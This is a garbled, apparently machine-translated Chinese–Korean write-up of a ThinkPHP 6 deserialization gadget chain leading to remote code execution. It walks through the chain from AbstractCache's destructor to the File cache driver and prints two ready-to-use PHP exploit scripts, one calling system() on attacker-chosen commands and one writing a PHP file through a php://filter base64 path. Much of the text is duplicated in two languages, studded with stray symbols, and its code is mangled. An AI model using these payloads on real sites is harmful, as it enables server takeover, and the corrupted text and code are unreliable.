Forward
이전에 tp6의 체인을 분석한 적이 있는데, 이전에 두 체인 간의 링크를 구현하기 위해 __toString 메서드를 사용하여 전송했습니다. 그리고 이후에는 전송을 위해 제어 가능한 클래스 아래에 고정된 메서드를 사용합니다.
먼저 클릭 한 번으로 환경을 구축한 다음 php think run을 실행할 수 있습니다.
본 글은 지식 포인트의 실제 운용 연습: ThinkPHP5 원격 명령 실행 취약점(이 실험을 통해 ThinkPHP5 원격 명령 실행 취약점의 원인과 악용 방법, 취약점 수정 방법을 알아봅니다.) textThe 첫 번째 아이디어는 초기 트리거에 소멸자를 사용한 다음 단계별 파생을 수행하기 위해 마법 함수를 추적하는 것입니다. 먼저 AbstractCache 클래스에서 마법 함수를 찾으세요. public function __destruct(){ if (! $this->autosave) { $this ->save() }} 코드는 위와 같습니다. 여기서 자동 저장을 제어할 수 있습니다. 이를 false로 수동으로 복사할 수 있습니다.protected $autosave = true;public function __destruct(){ if (! $this->autosave) { $this->save(); }}
其代码如上;可以看到autosave可以可控;这里我们可以手动给其复制为false;从而可以触发save方法;
回溯save方法;在CacheStore中找到了save方法;具体代码如下;
public function save(){ $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire);}
可以看到其调用了getForStorage方法,然后将其赋值给$contents变量。这里追随一下这个方法;
public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]);}
发现首先调用了cleanContents方法;然后在调用了json_encode方法,这里首先回溯一下cleanContents方法;
public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', 'md5', ]); foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } } return $contents;}
저장 메서드를 역추적합니다. 특정 코드는 다음과 같습니다. $contents = $this->getForStorage(); $this->store->set($this-> key, $contents, $this->expire);}
할 수 있습니다. getForStorage 메소드를 호출한 다음 $contents 변수에 할당하는 것을 확인하세요. 여기에서 이 방법을 따르세요.
🎜public function getForStorage() { $cleaned = $this->cleanContents($this->cache) return json_encode([$cleaned, $this->complete]) ; }
🎜🎜cleanContents 메서드가 먼저 호출된 다음 json_encode 메서드가 호출되는 것으로 나타났습니다. 여기서는 먼저 cleanContents 메서드를 역추적합니다. 🎜🎜 public function cleanContents(array $contents) { PATH ' ,' DIRNAME ',' Basename ',' Extension ',' FILENAME ',' SIZE ',' Mimetype ',' Visibility ',' TimestAmp ',' Type ',' MD5 '),]),]),]) ,]),] ; Foreach ($ PATH = & GT; $ Object) {if (IS_ARRAY ($ Object)) {$ Contents [$ PATH] = Array_intersect_Key ($ Object, $ Cachedpropers);
🎜🎜 우선 여기에서 array_flip 메소드를 볼 수 있습니다. 이 메소드는 배열의 키 이름과 키 값을 대체한 다음 $cachedProperties 변수에 배열을 할당하고 다음에 따라 전달한 매개변수를 순회합니다. $path 및 $object의 형식을 변경한 다음 is_array 메소드에 의해 이름이 true로 판단되면 후속 함수 처리가 수행됩니다. 그렇지 않으면 이 일련의 작업 후에 $content 배열이 직접 반환됩니다. , 마지막으로 저장 기능으로 반환된 다음 $this-> store->set($this->key, $contents, $this->expire); 또한 제어 가능합니다. 첫 번째는 set 메서드 클래스를 인스턴스화하거나 __call 메서드로 클래스를 인스턴스화하는 것입니다. 따라서 여기서는 먼저 존재하지 않는 메서드에 액세스하여 호출 매직 메서드를 호출할 수 있습니다. set 메소드가 있는 클래스는 File 클래스에서 찾으세요. 🎜공용 함수 세트($name, $value, $expire = null): bool{ $this->writeTimes++; if (is_null($expire)) { $expire = $this->options['expire ']; } $expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name); $dir = dirname($filename); { ~ > 012d' , $expire ) . "n 종료();>n" . $result = file_put_contents($filename, $data); if ($result) return true;
public function set($name, $value, $expire = null): bool{ $this->writeTimes++; if (is_null($expire)) { $expire = $this->options['expire']; } $expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name); $dir = dirname($filename); if (!is_dir($dir)) { try { mkdir($dir, 0755, true); } catch (Exception $e) { // 创建失败 } } $data = $this->serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { //数据压缩 $data = gzcompress($data, 3); } $data = "<?phpn //" . sprintf('%012d', $expire) . "n exit();?>n" . $data; $result = file_put_contents($filename, $data); if ($result) { clearstatcache(); return true; } return false;}
这里可利用点在后面的serialize方法;直接追溯一下;
protected function serialize($data): string{ if (is_numeric($data)) { return (string) $data; } $serialize = $this->options['serialize'][0] ?? "serialize"; return $serialize($data);}
这里发现options参量可控;这里就存在一个问题,如果我们将其赋值为system,那么后续return的就是我们命令执行函数,里面的data我们是可以传入的,那么我们就可以实现RCE;
这里放出我自己写的exp;
<?php #bash回显;网页不回显;namespace LeagueFlysystemCachedStorage{abstract class AbstractCache{ protected $autosave = false; protected $complete = []; protected $cache = ['
id']; }}namespace thinkfilesystem{use LeagueFlysystemCachedStorageAbstractCache;class CacheStore extends AbstractCache{ protected $store; protected $key; public function __construct($store,$key,$expire) { $this->key = $key; $this->store = $store; $this->expire = $expire; }}}namespace thinkcache{abstract class Driver{}}namespace thinkcachedriver{use thinkcacheDriver;class File extends Driver{ protected $options = [ 'expire' => 0, 'cache_subdir' => false, 'prefix' => false, 'path' => 's1mple', 'hash_type' => 'md5', 'serialize' => ['system'], ];}}namespace{$b = new thinkcachedriverFile();$a = new thinkfilesystemCacheStore($b,'s1mple','1111');echo urlencode(serialize($a));}
最后达到的效果就是system(xxxx);这里当时我测试没有回显,后来将代码调试了一下,发现是system里面参数的问题,后来我想到linux或者unix下反引号也是可以当做命令执行的,而且是可以首先执行的;所以我将代码改了下,嵌入反引号,这样可以更好的进行命令执行,但是这样的缺点就是可以执行,但是无回显;但是我们依然可以进行一些恶意操作;
通过这个链,相信可以发现一些端倪,除了可以rce以外,这个链在最后的利用地方还有一个file_put_contents这个也是可以利用的;
下面利用的一些骚姿势如果有师傅不太理解,可以看这个链接;https://s1mple-top.github.io/2020/11/18/file-put-content%E5%92%8C%E6%AD%BB%E4%BA%A1%C2%B7%E6%9D%82%E7%B3%85%E4%BB%A3%E7%A0%81%E4%B9%8B%E7%BC%98/
protected function serialize($data): string{ if (is_numeric($data)) { return (string) $data ; } $ serialize = $this->options['serialize'][0] ?? "serialize"; return $serialize($data);}
여기에서 옵션 매개변수를 제어할 수 있습니다. ; 여기에 문제가 있습니다. 이를 시스템으로 할당하면 후속 반환이 명령 실행 함수이고 내부에 데이터를 전달할 수 있으며 RCE를 구현할 수 있습니다.
🎜 여기에 제가 직접 작성한 exp가 있습니다. 🎜 <?php #bash echo; 네임스페이스 LeagueFlysystemCachedStorage{abstract class AbstractCache{ protected $complete = []; <code>'] }}네임스페이스 thinkfilesystem{use LeagueFlysystemCachedStorageAbstractCache;class CacheStore는 AbstractCache를 확장합니다{ protected $store; protected $key; public function __construct($store,$key,$expire) { $this->key = $key ; $this-> ;store = $store; $this->expire = $expire; }}}네임스페이스 thinkcache{추상 클래스 드라이버{}}네임스페이스 thinkcachedriver{use thinkcacheDriver;클래스 파일 확장 드라이버{ protected $options = [ ' 만료' => 0, 'cache_subdir' => false, 'path' => 's1mple', 'hash_type' => ' system'], ];}}네임스페이스{$b = new thinkcachedriverFile();$a = new thinkfilesystemCacheStore($b,'s1mple','1111');echo urlencode(serialize($a));}
🎜🎜드디어 얻은 효과는 system(xxxx)입니다. 테스트할 때 에코가 발생하지 않았습니다. 나중에 코드를 디버깅하여 시스템의 매개변수에 문제가 있다는 것을 발견했습니다. 나중에 백틱도 실행할 수 있다고 생각했습니다. Linux 또는 Unix에서 명령으로 먼저 실행될 수 있으므로 명령을 더 잘 실행할 수 있도록 코드와 포함된 백틱을 변경했지만 단점은 실행할 수 있지만 에코가 없다는 것입니다. 하지만 여전히 일부 악의적인 작업을 수행할 수 있습니다. 🎜🎜 🎜🎜이 체인을 통과하면 몇 가지 단서를 찾을 수 있다고 믿습니다. rce 외에도 이 체인의 최종 활용 위치에 사용할 수 있는 file_put_contents도 있습니다. 🎜🎜마스터가 그렇지 않은 경우 아래에 사용된 섹시한 자세 중 일부를 이해하지 못하시면 이 링크를 확인하세요. https://s1mple-top.github.io/2020/11/18/file-put-content%E5%92%8C% E6%AD%BB%E4%BA%A1%C2%B7%E6% 9D%82%E7%B3%85%E4%BB%A3%E7%A0%81%E4%B9%8B%E7%BC% 98/🎜🎜다음에도 활용 체인이 설명되어 있습니다. 결국 파일 이름과 데이터의 내용을 제어해야 한다는 점만 다릅니다. 🎜🎜 🎜🎜마지막에 데이터 접합이 있을 예정입니다. 원래 서식에 도입하려고 했으나 서식이 하드코딩되어 있어서 서식을 오염시키고 위험한 코드를 삽입할 수 없습니다. 이제 데이터를 제어할 차례입니다. 실제로 여기 데이터는 직렬화 메소드를 호출합니다. 배열 옵션을 꺼내서 데이터 앞에 배치하면 별 문제가 없습니다. 하지만 $serialize($data)이므로 여기에는 작은 구멍이 있습니다. 함수를 임의로 전달하면 Adsf($data); 함수와 같은 불규칙성이 발생하여 오류가 발생하고 진행이 불가능해집니다.
이 점을 이해하면 실제로 작은 함정이 있습니다. 옵션의 내용을 제어할 수 있습니다. 그런 다음 전달할 키 값을 제어할 수 있습니다. 그러나 여기서는 json_encode가 이전에 수행되었기 때문에 일반 함수에 의해 형성된 최종 형식을 base64로 해독할 수 없습니다. 그러나 여기에는 예외가 있습니다. . 직렬화 기능을 테스트한 결과 base64를 정상적으로 해독할 수 있다는 사실을 발견했습니다. 아마도 문자열을 형성할 수 있기 때문일 것입니다. 그 이유는 다음과 같습니다.
<?phpnamespace LeagueFlysystemCachedStorage{abstract class AbstractCache{ protected $autosave = false; protected $complete = []; protected $cache = ['PD9waHAgcGhwaW5mbygpOz8+']; }}namespace thinkfilesystem{use LeagueFlysystemCachedStorageAbstractCache;class CacheStore extends AbstractCache{ protected $store; protected $key; public function __construct($store,$key,$expire) { $this->key = $key; $this->store = $store; $this->expire = $expire; }}}namespace thinkcache{abstract class Driver{}}namespace thinkcachedriver{use thinkcacheDriver;class File extends Driver{ protected $options = [ 'expire' => 0, 'cache_subdir' => false, 'prefix' => false, 'path' => 'php://filter/convert.base64-decode/resource=s1mple/../', 'hash_type' => 'md5', 'serialize' => ['serialize'], 'data_compress' => false ];}}namespace{$b = new thinkcachedriverFile();$a = new thinkfilesystemCacheStore($b,'s1mple','2333');echo urlencode(serialize($a));}
쓰기 가능한 디렉터리이므로 여기서는 가상 디렉터리 방법을 사용하여 공용 디렉터리에서 경로 매개변수에 반영할 수 있습니다.
마지막 액세스 결과는 물론 phpinfo를 실행하는 것입니다. 시스템과 같은 명령 실행 기능을 작성하여